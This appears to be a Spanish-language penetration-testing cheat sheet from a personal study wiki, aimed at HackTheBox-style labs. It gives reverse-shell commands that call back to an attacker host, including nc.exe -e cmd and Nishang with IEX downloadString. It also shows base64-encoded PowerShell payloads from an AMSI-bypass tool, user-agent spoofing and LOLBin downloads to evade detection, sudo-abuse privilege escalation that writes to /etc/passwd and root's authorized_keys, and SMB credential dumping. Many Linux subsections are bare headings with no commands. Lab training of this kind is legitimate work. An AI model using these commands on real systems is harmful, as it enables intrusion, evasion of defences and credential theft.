GET /nc.exe HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Accept: */*
User-Agent: Microsoft-CryptoAPI/10.0

BITS - Client

PS C:\htb> Import-Module bitstransfer;
PS C:\htb> Start-BitsTransfer 'http://10.10.10.32/nc.exe' $env:temp\t;
PS C:\htb> $r=gc $env:temp\t;
PS C:\htb> rm $env:temp\t; 
PS C:\htb> iex $r

BITS - Server

HEAD /nc.exe HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Encoding: identity
User-Agent: Microsoft BITS/7.8

Esta sección apenas comienza con la detección de transferencias de archivos maliciosas. Sería un excelente punto de partida para cualquier organización crear una lista blanca de binarios permitidos o una lista negra de binarios que se sabe que se utilizan con fines maliciosos. Además, la búsqueda de cadenas de agente de usuario anómalas puede ser una excelente manera de detectar un ataque en curso. Abordaremos las técnicas de búsqueda y detección de amenazas en profundidad en módulos posteriores.

Evading Detection

Changing User Agent

Si los administradores o defensores han bloqueado alguno de estos User-Agent, el comando Invoke-WebRequest tiene un parámetro llamado -UserAgent que permite cambiar el valor por defecto. Podemos poner uno que imite a Internet Explorer, Firefox, Chrome, Opera o Safari.

Por ejemplo, si en la red del cliente todo el tráfico web pasa por Chrome, usar ese User-Agent puede hacer que la petición parezca legítima y así pasar más desapercibidos.

Listing out User Agents

PS C:\Users\gzzcoo> [Microsoft.PowerShell.Commands.PSUserAgent].GetProperties() | Select-Object Name,@{label="User Agent";Expression={[Microsoft.PowerShell.Commands.PSUserAgent]::$($_.Name)}} | fl


Name       : InternetExplorer
User Agent : Mozilla/5.0 (compatible; MSIE 9.0; Windows NT; Windows NT 10.0; es-ES)

Name       : FireFox
User Agent : Mozilla/5.0 (Windows NT; Windows NT 10.0; es-ES) Gecko/20100401 Firefox/4.0

Name       : Chrome
User Agent : Mozilla/5.0 (Windows NT; Windows NT 10.0; es-ES) AppleWebKit/534.6 (KHTML, like Gecko) Chrome/7.0.500.0
             Safari/534.6

Name       : Opera
User Agent : Opera/9.70 (Windows NT; Windows NT 10.0; es-ES) Presto/2.2.1

Name       : Safari
User Agent : Mozilla/5.0 (Windows NT; Windows NT 10.0; es-ES) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0
             Safari/533.16

Invocar Invoke-WebRequest para descargar nc.exe mediante un agente de usuario de Chrome:

Request with Chrome User Agent

PS C:\gzzcoo> $UserAgent = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome
PS C:\gzzcoo> Invoke-WebRequest http://10.10.10.32/nc.exe -UserAgent $UserAgent -OutFile "C:\Users\Public\nc.exe"

gzzcoo@htb[/htb]$ nc -lvnp 80

listening on [any] 80 ...
connect to [10.10.10.32] from (UNKNOWN) [10.10.10.132] 51313
GET /nc.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) AppleWebKit/534.6
(KHTML, Like Gecko) Chrome/7.0.500.0 Safari/534.6
Host: 10.10.10.32
Connection: Keep-Alive

LOLBAS / GTFOBins

El uso de whitelisting de aplicaciones puede impedirnos ejecutar herramientas como PowerShell o Netcat, y además, el registro de comandos puede alertar a los defensores de nuestra actividad. En estos casos, una opción útil es recurrir a un LOLBIN (Living Off The Land Binary), también conocidos como binarios de confianza mal ubicada.

Un ejemplo de LOLBIN es el GfxDownloadWrapper.exe, que forma parte de los drivers de gráficos de Intel en Windows 10. Este binario ya viene instalado en algunos sistemas y tiene la capacidad de descargar archivos de configuración de forma periódica. Podemos aprovechar esa funcionalidad para descargar archivos de forma encubierta con un simple comando como:

Transferring File with GfxDownloadWrapper.exe

PS C:\htb> GfxDownloadWrapper.exe "http://10.10.10.132/mimikatz.exe" "C:\Temp\nc.exe"

Ese tipo de binario (como GfxDownloadWrapper.exe) puede estar permitido por las políticas de whitelisting y además no generar alertas, ya que es legítimo y forma parte del sistema.

Reverse Shell

Nc.exe

Desde nuestro equipo atacante, deberemos de disponer del binario nc.exe. Lo compartiremos al equipo víctima a través de un servidor web o SMB. Una vez subido el binario en una ruta, nos otorgaremos una Reverse Shell con nc.exe.

# Víctima
.\nc.exe -e cmd <ATTACKER_IP> 443

# Atacante
nc -nlvp 443

También podemos disponer del binario de nc.exe en nuestro servidor SMB y ejecutar el binario para otorgarnos una Reverse Shell accediendo al mismo recuso compartido desde el equipo víctima.

# Atacante (Kali)
rlwrap -cAr nc -nlvp 443
impacket-smbserver smbFolder $(pwd) -smb2support

# Vítima (Windows)
\\<ATTACKER_IP>\smbFolder\nc.exe -e cmd <ATTACKER_IP> 443

Reverse Shell Nishang

Invoke-PowerShellTcp.ps1

# Renombrar el archivo a 'rev.ps1', y añadir al final del archivo la siguiente línea
Invoke-PowerShellTcp -Reverse -IPAddress <ATTACKER_IP> -Port 443

# Nos ponemos en escucha por el puerto indicado.
rlwrap -cAr nc -nlvp 443

# Compartimos el archivo a través de un servidor web.
python3 -m http.server 80

# Para mayor seguridad, codificamos desde Kali el comando que deberá ejecutar la víctima en Base64 de Windows.
echo 'IEX(New-Object Net.WebClient).downloadString("http://<ATTACKER_IP>/rev.ps1")' | iconv -t utf-16le | base64 -w 0; echo

# Desde el equipo de la víctima, se ejecuta el siguiente comando con el código en Base64 generado.
powershell -e <BASE64_CODE>

RevShells

Desde la siguiente página, podemos generar diferentes tipos de Reverse Shell. El más recomendado en el caso de Windows, es el de PowerShell Base64.

Estableceremos nuestra dirección IP y el puerto donde estaremos en escucha. Del resultado generado, es el comando que deberá ejecutar la víctima.

Proceso para ejecutar la Reverse Shell de revshells.

# Desde la máquina atacante en Kali nos ponemos en escucha
rlwrap -cAr nc -nlvp 443

# Desde la máquina víctima ejecutamos la Reverse Shell
powershell -e <BASE64_CODE>

BypassAMSI_PSRevshell

"Revshell" command

Usage

python3 BypassAMSI_PSRevshell.py revshell -i <Attacker-IP> -p <listening-port>

For example:

❯ python3 BypassAMSI_PSRevshell.py revshell -i 10.10.10.10 -p 4444

Will generate the payload:

powershell -enc JABjACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAEMAbABpAGUAbgB0ACgAJwAxADAALgAxADAALgAxADAALgAxADAAJwAsADQANAA0ADQAKQA7ACQAcwAgAD0AIAAkAGMALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMALgBSAGUAYQBkACgAJABiACwAIAAwACwAIAAkAGIALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIALAAwACwAIAAkAGkAKQA7ACQAcwBiACAAPQAgACgAaQBlAHgAIAAkAGQAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGIAMgAgACAAPQAgACQAcwBiACAAKwAgACcAUABTACAAJwAgACsAIAAnAD4AIAAnADsAJABzAHkAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAYgAyACkAOwAkAHMALgBXAHIAaQB0AGUAKAAkAHMAeQAsADAALAAkAHMAeQAuAEwAZQBuAGcAdABoACkAOwAkAHMALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMALgBDAGwAbwBzAGUAKAApAA==

"Server" command

This option will create a payload file, by default named revshell.ps1 (which is the obfuscated payload from revshell command written into a file), and expose it into a temporal HTTP server (by default on port 8000, which can be changed as well). The script will then generate an encoded payload that will request the file to the temporal server, executes it and triggers the reverse shell.

Usage

python3 BypassAMSI_PSRevshell.py server -i <Attacker-IP> -p <listening-port>

For example:

❯ python3 BypassAMSI_PSRevshell.py server -i 10.10.10.10 -p 4444 --server-port 9000

Will generate the payload:

powershell -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEAMAAuADEAMAA6ADkAMAAwADAALwByAGUAdgBzAGgAZQBsAGwALgBwAHMAMQAiACkA

Executing it on the victim machine will make a request to the HTTP server exposed and the payload file.

PowerShell

Running Commands as Another User with ScriptBlock

Crear objeto para jugar con ScriptBlock con las credenciales de otro usuario en otro equipo.

$SecPassword = ConvertTo-SecureString 'Password' -AsPlainText -Force

$Cred = New-Object System.Management.Automation.PSCredential('domain\user',$SecPassword)

Invoke-Command -ComputerName computer -Credential $Cred -ScriptBlock { whoami }

Encode a file with Base64 to transfer original file

# Desde el equipo victima convertimos el archivo 'file.bin' que no es legible a Base64
powershell -c "[convert]::ToBase64String((cat C:\\Temp\\file.bin -Encoding byte))"

[convert]::ToBase64String((cat C:\\Temp\\file.bin -Encoding byte))

# Desde el equipo atacante, descodificamos el contenido y obtenemos el archivo original. Nos hemos pasado el archivo solamente codificando en Base64.
echo '<BASE64_CODE>' | base64 -d > file.bin

PowerShell History commands

type $env:USERPROFILE\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

LINUX PENTESTING

Basic Enumeration

Sudoers Privileges

SUID

Variables de entorno

Puertos internos

Grupos

Versión del Kernel

Capabilities

Linux Privilege Escalation

Automated Enumeration Tools

Abusing sudoers privileges

Nginx

El siguiente repositorio nos proporciona el siguiente script para crear una configuración en Nginx maliciosa. El siguiente script realizará una configuración de Nginx que habilite una página web por el puerto 1338. Se indicará que el servidor tenga capacidad para realizar un listado de directorios (directory listing) en el directorio raíz (/), dado que el usuario que ejecuta Nginx es root. Esto nos permitirá listar los archivos del sistema sin restricciones.

Además, se habilitará el método PUT para que se puedan subir contenidos a través de la página web vulnerable que estamos montando. Una vez configurado, cargaremos la configuración del sitio web vulnerable.

Le daremos permisos de ejecución al script realizado y a ejecutarlo para levantar el sitio web vulnerable.

Accederemos al sitio web vulnerable http://<VICTIM_IP>:1338 y verificaremos que disponemos del acceso a listar los directorios del equipo desde la raíz /.

Al verificar esto, si el servicio de SSH se encuentra expuesto, el objetivo será crear en nuestra máquina atacante una clave pública que subiremos a través del método PUT al servidor web vulnerable en la ruta /root/.ssh/authorized_keys.

Mostraremos el contenido de la clave pública id_rsa.pubque hemos generado en nuestra máquina y a través de la herramienta cURL subiremos este contenido dentro del archivo authorized_keys, esto con el objetivo de que nuestra clave pública se encuentre permitida en la máquina pública y nos podamos conectar como usuario root sin proporcionar credenciales.

Procederemos a conectarnos mediante SSH con el usuario root en la máquina víctima. En este ejemplo, la IP de la máquina víctima es 10.10.10.10.

Mosh-server

Al revisar si el usuario que disponemos tiene algún privilegio de sudoers, nos encontramos que puede ejecutar como usuarioroot el binario /usr/bin/mosh-server.

Mosh, el acrónimo de Mobile Shell, es una aplicación (en linea de comandos) que es usada para conectarse a un servidor desde un ordenador o dispositivo cliente, a traves de la red. Puede usarse como SSH y contiene algunas características adicionales al SSH. Es una aplicación escrita por Keith Winstein, para sistemas UNIX, bajo licencia GNU GPL v3.

Al ejecutar el servidor Mosh como root, ahora el usuario hackertiene una shell con permisos de root. Esto permite al atacante acceder a todos los recursos del sistema con permisos completos, incluyendo la capacidad de modificar archivos, instalar software, y ejecutar comandos con total libertad.

Básicamente, lo que realizamos es montar un servidor Mosh con privilegios de root en el localhost, para así lograr obtener acceso como usuario root.

PrusaSlicer

En este ejemplo, el usuario llamado hacker dispone del privilegio sudoers sobre el binario de PrusaSlicer que en este caso se encuentra instalado en /opt/PrusaSlicer/prusaslicer.

PrusaSlicer es el software de corte para impresoras 3D de Prusa . Básicamente, "corta" un objeto 3D en capas finas y un conjunto de instrucciones que la impresora 3D puede seguir para imprimir el modelo.

Nos descargaremos el siguiente proyecto de GitHub en nuestro equipo atacante.

Editaremos el archivo exploit.sh para establecer nuestra dirección IP de atacante y el puerto desde donde estaremos en escucha. Levantaremos un servidor web para transferir estos archivos al equipo víctima.

Desde el equipo víctima, nos descargaremos los archivos exploit.sh y evil.3mf. En nuestro caso la dirección IP de atacante es la 10.10.16.5.

Desde una terminal de nuestro equipo, nos pondremos en escucha por el puerto especificado en el payload para recibir la Reverse Shell.

Realizaremos la explotación para abusar de este permiso de sudoers del binario.

Revisamos que hemos logrado obtener acceso al equipo como usuario root, ya que es quien lo ha ejecutado al disponer de permisos de sudo sobre el binario indicado que ha sido aprovechado para ejecutar la Reverse Shell.

iptables && iptables-save

En el siguiente blog, se especifica como podemos abusar de este privilegio de sudoers. Además de un PoC sencillo.

Opción 1 --> sobreescribir /etc/passwd para añadir nuevo usuario root

En el PoC del blog mencionado, se nos informa que disponiendo de ambos permisos de sudoers, podemos intentar sobreescribir el archivo /etc/passwd para añadir una nueva entrada de un nuevo usuario root con una contraseña asignada por nosotros mismos.

En este caso, lo que realizaremos es copiar la entrada de nuestro /etc/passwd para tener la estructura de lo que deberemos añadir en el archivo de la máquina víctima.

Una vez tengamos la entrada de plantilla, lo que deberemos realizar es crear una contraseña en el formato de OpenSSL. Deberemos de reemplazar el valor x por el de la contraseña generada, para lograr obtener el siguiente resultado --> root:$1$Gow86CXS$sHAPSqpiT4xePLCPO147m1:0:0:root:/root:/bin/bash

Inyectaremos la entrada rootfalsificada en un nuevo comentario de regla de e, verificaremos que se encuentra añadida esta línea en las reglas de iptables y sobreescribiremos el archivo /etc/passwd para añadir esta nueva entrada del usuario root. Verificaremos si podemos acceder con este nuevo usuario root y la contraseña asignada.

Opción 2 --> sobreescribir /root/.ssh/authorized_keys para añadir nuestra clave pública SSH

Buscando otras maneras de aprovecharnos de estos privilegios de sudoers, pensamos en subir nuestra clave pública SSH al archivo authorized_keys del usuario root. En un principio no deberíamos tener problemas al ejecutar el iptables && iptables-save con permisos de sudo.

Generaremos una nueva clave pública SSH en nuestro equipo atacante.

Copiaremos nuestra clave SSH pública .

Volveremos a realizar el PrivEsc aprovechándonos de estos permisos de sudoers. En este caso, crearemos un nuevo comentario que contenga nuestra clave SSH pública. Revisaremos que nos aparece el comentario en las reglas de iptables, y sobreescribiremos el archivo mencionado.

Al intentar acceder mediante SSH con el usuario root, comprobamos que no se solicita credenciales. Al subir nuestra clave pública SSH al archivo /root/.ssh/authorized_keys, logramos conectarnos sin necesidad de proporcionar una contraseña, ya que la clave pública almacenada en ese archivo se comunica directamente con nuestra clave privada.

BBOT (BIGHUGE BLS OSINT TOOL)

Leer archivos privilegiados del sistema (LFI)

Obtener ejecución de comandos (RCE)

Manual

File Transfer

Protected File Transfers

File Encryption on Linux (OpenSSL)

Verify correct file content after transfer

Download Operations

Base64 Encoding / Decoding

nc && /dev/tcp

Netcat/nc

Wget

Curl

Fileless Attacks Using Linux

Debido a la forma en que funciona Linux y cómo operan las tuberías (pipes), la mayoría de las herramientas que usamos en Linux pueden ser utilizadas para replicar operaciones sin archivos, lo que significa que no necesitamos descargar un archivo para ejecutarlo.

Nota: Algunos payloads, como mkfifo, escriben archivos en el disco. Ten en cuenta que, aunque la ejecución del payload pueda ser sin archivos cuando usas una tubería, dependiendo del payload elegido, puede crear archivos temporales en el sistema operativo.

Tomemos el comando cURL que usamos, y en lugar de descargar LinEnum.sh, lo ejecutaremos directamente utilizando una tubería.

Fileless Download with cURL

Fileless Download with wget

Download with Bash (/dev/tcp)

También puede haber situaciones en las que ninguna de las herramientas de transferencia de archivos más conocidas esté disponible. Siempre y cuando se tenga instalada una versión de Bash 2.04 o superior (compilada con --enable-net-redirections), se puede utilizar el archivo de dispositivo incorporado /dev/TCP para realizar descargas simples de archivos.

Connect to the Target Webserver

HTTP GET Request

Print the Response

SSH Downloads

SSH (o Secure Shell) es un protocolo que permite el acceso seguro a computadoras remotas. La implementación de SSH incluye una utilidad SCP para la transferencia remota de archivos que, por defecto, utiliza el protocolo SSH.

SCP (secure copy) es una utilidad de línea de comandos que permite copiar archivos y directorios entre dos hosts de manera segura. Podemos copiar nuestros archivos desde la máquina local a servidores remotos y desde servidores remotos a nuestra máquina local.

SCP es muy similar al comando cp o copy, pero en lugar de proporcionar una ruta local, necesitamos especificar un nombre de usuario, la dirección IP remota o el nombre DNS, y las credenciales del usuario.

Enabling and Starting the SSH Server

Checking for SSH Listening Port

Ahora podemos comenzar a transferir archivos.

Linux - Downloading Files Using SCP

Nota: Puedes crear una cuenta de usuario temporal para transferencias de archivos y evitar usar tus credenciales principales o claves en un ordenador remoto.

Download Operations using Python

Python es un lenguaje de programación muy popular. Actualmente, se admite la versión 3, pero es posible que encontremos servidores en los que aún exista la versión 2.7 de Python. Python puede ejecutar comandos de una sola línea desde una línea de comandos del sistema operativo utilizando la opción -c. Veamos algunos ejemplos:

Python2

Python3

Download Operations using PHP

En el siguiente ejemplo, utilizaremos el módulo PHP file_get_contents() para descargar contenido de un sitio web combinado con el módulo file_put_contents() para guardar el archivo en un directorio. PHP se puede utilizar para ejecutar comandos de una sola línea desde una línea de comandos del sistema operativo utilizando la opción -r.

PHP Download with File_get_contents()

Una alternativa a file_get_contents() y file_put_contents() es el módulo fopen(). Podemos utilizar este módulo para abrir una URL, leer su contenido y guardarlo en un archivo.

PHP Download with Fopen()

También podemos enviar el contenido descargado a una tubería, similar al ejemplo sin archivos que ejecutamos en la sección anterior usando cURL y wget.

PHP Download a File and Pipe it to Bash

Nota: La URL se puede utilizar como nombre de archivo con la función @file si se han habilitado los contenedores fopen.

Download Operations using Ruby

Ruby - Download a File

Download Operations using Perl

Perl - Download a File

Upload Operations

nc && /dev/tcp

Base64 Encoding / Decoding

Web Upload

Lo primero que necesitamos hacer es instalar el módulo uploadserver.

Start Web Server

Ahora necesitamos crear un certificado. En este ejemplo, estamos utilizando un certificado autofirmado.

Create a Self-Signed Certificate

Start Web Server

Linux - Upload Multiple Files

Utilizamos la opción --insecure porque usamos un certificado autofirmado en el que confiamos.

Web Upload without certificate

Alternative Web File Transfer Method

Dado que las distribuciones de Linux suelen tener Python o PHP instalados, iniciar un servidor web para transferir archivos es muy sencillo. Además, si el servidor que hemos comprometido es un servidor web, podemos mover los archivos que queremos transferir al directorio del servidor web y acceder a ellos desde la página web.

Es posible configurar un servidor web usando varios lenguajes. Una máquina Linux comprometida puede no tener un servidor web instalado. En tales casos, podemos usar un servidor web miniatura. Lo que quizás les falte en seguridad, lo compensan con flexibilidad, ya que la ubicación del webroot y los puertos de escucha se pueden cambiar rápidamente.

Linux - Creating a Web Server with Python3

Linux - Creating a Web Server with Python2.7

Linux - Creating a Web Server with PHP

Linux - Creating a Web Server with Ruby

Download the File from the Target Machine

Nota: Cuando iniciamos un nuevo servidor web usando Python o PHP, es importante tener en cuenta que el tráfico entrante puede estar bloqueado. Estamos transfiriendo un archivo desde nuestro objetivo a nuestro host de ataque, pero no estamos subiendo el archivo.

SCP Upload

Es posible que encontremos algunas empresas que permitan el protocolo SSH (TCP/22) para conexiones salientes, y si ese es el caso, podemos usar un servidor SSH con la utilidad scp para subir archivos. Intentemos subir un archivo a la máquina objetivo utilizando el protocolo SSH.

File Upload using SCP

Nota: Recuerda que la sintaxis de scp es similar a la de cp o copy.

Upload Operations using Python3

Si queremos subir un archivo, necesitamos entender las funciones de un lenguaje de programación en particular para realizar la operación de subida. El módulo de solicitudes de Python3 permite enviar solicitudes HTTP (GET, POST, PUT, etc.) mediante Python. Podemos utilizar el siguiente código si queremos subir un archivo a nuestro servidor de subida de Python3.

Starting the Python uploadserver Module

Uploading a File Using a Python One-liner

Dividamos esta línea en varias líneas para comprender mejor cada parte.

Uploading a File Using a Python Script

Upload Operations using PHP

Starting the Python uploadserver Module

Uploading a File Using a PHP One-liner

Dividamos esta línea en varias líneas para comprender mejor cada parte.

Uploading a File Using a PHP Script

Upload Operations using Ruby

Starting the Python uploadserver Module

Uploading a File Using a Ruby One-liner

ES POSIBLE QUE SE NECESITE INSTALAR EN EL EQUIPO VÍCTIMA LA SIGUIENTE GEMA QUE NO VIENE POR DEFECTO INSTALADA EN EL SISTEMA.

gem install multipart-post

Dividamos esta línea en varias líneas para comprender mejor cada parte.

Uploading a File Using a Ruby Script

Upload Operations using Perl

Starting the Python uploadserver Module

Uploading a File Using a Ruby One-liner

Dividamos esta línea en varias líneas para comprender mejor cada parte.

Uploading a File Using a Perl Script

Protected File Transfers

File Encryption on Linux

OpenSSL se incluye frecuentemente en distribuciones de Linux, y los administradores de sistemas lo utilizan para generar certificados de seguridad, entre otras tareas. OpenSSL permite enviar archivos al estilo "nc" para cifrarlos.

Para cifrar un archivo con openssl, podemos seleccionar diferentes cifrados; consulte la página del manual de OpenSSL. Usemos -aes256 como ejemplo. También podemos anular el número de iteraciones predeterminado con la opción -iter 100000 y añadir la opción -pbkdf2 para usar el algoritmo de la Función de Password-Based Key Derivation Function 2. Al pulsar Intro, necesitaremos proporcionar una contraseña.

Encrypting /etc/passwd with openssl

Recuerde usar una contraseña segura y única para evitar ataques de fuerza bruta si alguien no autorizado obtiene el archivo. Para descifrarlo, podemos usar el siguiente comando:

Decrypt passwd.enc with openssl

Podemos usar cualquiera de los métodos anteriores para transferir este archivo, pero se recomienda usar un método de transporte seguro como HTTPS, SFTP o SSH.

NETWORK SERVICES PENTESTING

WEB PENTESTING

TOOLS

REVERSING

SMB Port (139, 445)

Introduction

Puerto 139

Puerto 139 es el canal que se utiliza en redes LAN para gestionar las sesiones de NetBIOS. Esto significa que, cuando una aplicación (como cliente) necesita comunicarse con otra (que actúa como servidor), lo hace a través de este puerto utilizando TCP. NetBIOS se encarga de que los dispositivos y aplicaciones se encuentren y se identifiquen en la red mediante nombres de hasta 16 caracteres, que pueden no coincidir con el nombre real del equipo.

En otras palabras, el puerto 139 es el punto de entrada para que las aplicaciones establezcan conexiones y compartan datos dentro de la red. Gracias a este protocolo, se facilita la transmisión de información y la localización de recursos, lo que resulta esencial en entornos donde la comunicación entre varios dispositivos es clave. Aunque en algunas configuraciones modernas se opta por otros métodos y puertos por temas de seguridad, el puerto 139 sigue siendo una parte importante en redes tradicionales y en ciertas aplicaciones que aún dependen de NetBIOS para funcionar correctamente.

139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn

Puerto 445

El Puerto 445 se utiliza para implementar SMB (Server Message Blocks), también conocido en la actualidad como CIFS, sobre TCP/IP. Esto quiere decir que este puerto permite que dispositivos en una red compartan archivos, impresoras y otros recursos de manera directa.

A diferencia del Puerto 139, que opera con NetBIOS sobre IP (es decir, SMB a través de la capa adicional de NetBIOS), el Puerto 445 permite que SMB funcione directamente sobre TCP/IP. En entornos Windows, esto facilita la comunicación al eliminar la necesidad de NetBIOS, haciendo que el intercambio de datos sea más directo y eficiente.

Sin embargo, en otros sistemas o configuraciones que aún dependen de NetBIOS, es posible que se utilice el Puerto 139 para manejar SMB a través de esa capa extra. En resumen, el Puerto 445 ofrece una forma más moderna y optimizada de gestionar el intercambio de recursos en red, mientras que el Puerto 139 puede seguir en uso para mantener compatibilidad con sistemas antiguos o configuraciones específicas.

445/tcp   open  microsoft-ds  Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)

SMB

SMB es un protocolo cliente-servidor que facilita el acceso y compartición de recursos en red, como archivos, carpetas e impresoras. Se usa principalmente en entornos Windows, permitiendo la comunicación entre versiones modernas y antiguas, y gracias a Samba, también se implementa en Linux/Unix. Además, usa ACLs para asignar permisos específicos a usuarios o grupos, independientemente de los controles locales.

El acceso al recurso compartido IPC$ se puede obtener a través de una sesión nula anónima, permitiendo la interacción con servicios expuestos a través de tuberías con nombre. La utilidad enum4linux es útil para este propósito. Utilizada correctamente, permite la adquisición de:

Información sobre el sistema operativo
Detalles sobre el dominio padre
Una compilación de usuarios y grupos locales
Información sobre los recursos compartidos SMB disponibles
La política de seguridad del sistema efectiva

Esta funcionalidad es crítica para los administradores de red y profesionales de seguridad para evaluar la postura de seguridad de los servicios SMB (Server Message Block) en una red. enum4linux proporciona una vista completa del entorno SMB del sistema objetivo, lo cual es esencial para identificar vulnerabilidades potenciales y asegurar que los servicios SMB estén debidamente protegidos.

enum4linux -a target_ip

Authentication

SMBMap

# Enumeración de recursos compartidos y permisos sobre ellos (Usuario del dominio)
smbmap -H 10.10.10.10 --no-banner -u 'user' -p 'password' -d domain.htb

# Enumeración de recursos compartidos y permisos sobre ellos (Usuario local)
smbmap -H 10.10.10.10 --no-banner -u 'user' -p 'password' -d WORKGROUP

# Enumeración de recursos compartidos con autenticación de Kerberos
smbmap -H 10.10.10.10 --no-banner -u 'user' -k --no-pass -d domain.htb -dc-ip 10.10.10.10

smbclient

smbclient //10.10.10.10/Recurso -U 'user%password'

NetExec

# Autenticación básica para comprobar credenciales válidas con autenticación NTLM.
nxc smb 10.10.10.10 -u 'user' -p 'password'

# Autenticación para comprobar credenciales válidas con autenticación Kerberos.
nxc smb dc.domain.htb -u 'user' -p 'password' -k

# Autenticación para comprobar ticket (.ccache) de Kerberos es válido
nxc smb dc.domain.htb --use-kcache

# Autenticación realizando PassTheHash para verificar si el hash NT es válido.
nxc smb 10.10.10.10 -u 'user' -H '<NTLM_HASH>'

Misconfigurations

Anonymous Authentication

smbclient -L 10.10.10.10 -N 2>/dev/null

smbmap -H 10.10.10.10 --no-banner -u 'guest' -p ''

nxc smb 10.10.10 -u 'guest' -p ''

Enumerating SMB

Nmap

Verificar vulnerabilidades a través de Nmap.

nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}

NetExec

# Enumerar recursos compartidos del SMB que disponemos de permisos.
nxc smb 10.10.10.10 -u 'user' -p 'password' --shares

# Crear un JSON de la estructura de los recursos del SMB para ver dónde hay archivos interesantes.
nxc smb 10.10.10.10 -u 'user' -p 'password' -M spider_plus

# Enumeración completa desde SMB.
nxc smb 10.10.10.10 -u 'user' -p 'password' --groups --local-groups --loggedon-users --rid-brute --sessions --users --shares --pass-pol

SMB logged on users

nxc smb 10.10.10.10 -u 'user' -p 'password' --loggedon-users

SMB active sessions

nxc smb 10.10.10.10 -u 'user' -p 'password' --sessions

SMB download file

nxc smb 10.10.10.10 -u 'user' -p 'password' --share 'SHARE' --get-file 'FILE_TARGET' 'OUTPUT_FILE'

Dumping Hashes

Dumping SAM

nxc smb 10.10.10.10 -u 'user' -p 'password' --sam

Dumping LSASS

nxc smb 10.10.10.10 -u 'user' -p 'password' --lsa

Dumping NTDS.dit

nxc smb 10.10.10.10 -u 'user' -p 'password' --ntds vss

RID Cycling Attack

El RID Cycling Attack se aprovecha del acceso a la compartición IPC$ para comunicarse con el servicio SAM mediante RPC. Esto permite iterar sobre los Relative Identifiers (RIDs) y, de ese modo, enumerar usuarios válidos en el sistema.

Enum4Linux

enum4linux -a 10.10.10.10

NetExec

# Obtener usuarios del dominio a través de RID Cycling Attack si el IPC$ está habilitado
nxc smb 10.10.10.10 -u 'user' -p 'password' --rid-brute

# Obtener solamente el listado de usuarios al realizar RID Cycling Attack
nxc smb 10.10.10.10 -u 'user' -p 'password' --rid-brute | grep SidTypeUser | rev | awk '{print $2}' | rev | awk '{print $2}' FS='\\'

rpcclient

# Enumerar usuarios desde el RID 1000 hasta el 1500, se puede ajustar por el rango deseado. No se necesitan credenciales.

for i in $(seq 1000 1500); do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name"; done | awk '{print $NF}'

impacket-lookupsid

# Enumeración de usuarios con el usuario 'guest' a través de lookupsid
impacket-lookupsid dominio.htb/guest@10.10.10.10 -no-pass

# Mismo comando anterior, pero solo quedándonos con los nombres de usuarios.
impacket-lookupsid dominio.htb/guest@10.10.10.10 -no-pass | grep SidTypeUser | awk '{print $2}' | awk '{print $2}' FS='\\'i

Interacting with SMB service

Tools to interact with SMB

NetExec
Smbmap
smbclient
psexec.py
smbexec.py
Impacket
CrackMapExec

Windows

Hay diferentes maneras de interactuar con una carpeta compartida en Windows, y exploraremos un par de ellas. En la interfaz gráfica de Windows, podemos presionar [WINKEY] + [R] para abrir el cuadro de diálogo.

Ejecutar e introducir la ubicación del recurso compartido, por ejemplo: \\192.168.220.129\Finance\

Supongamos que la carpeta compartida permite la autenticación anónima o que nos autenticamos con un usuario con privilegios sobre ella. En ese caso, no recibiremos ninguna solicitud de autenticación y se mostrará el contenido de la carpeta compartida.

Si no tenemos acceso, recibiremos una solicitud de autenticación.

Windows tiene dos consolas de línea de comandos: Command Shell y PowerShell. Cada una es un programa que permite la comunicación directa entre nosotras y el sistema operativo o las aplicaciones, proporcionando un entorno para automatizar tareas administrativas.

Veamos algunos comandos para interactuar con recursos compartidos utilizando Command Shell (CMD) y PowerShell.

Windows CMD

Windows CMD - DIR

El comando dir muestra una lista de los archivos y subdirectorios de un directorio.

C:\htb> dir \\192.168.220.129\Finance\

Volume in drive \\192.168.220.129\Finance has no label.
Volume Serial Number is ABCD-EFAA

Directory of \\192.168.220.129\Finance

02/23/2022  11:35 AM    <DIR>          Contracts
               0 File(s)          4,096 bytes
               1 Dir(s)  15,207,469,056 bytes free

Windows CMD - Net Use

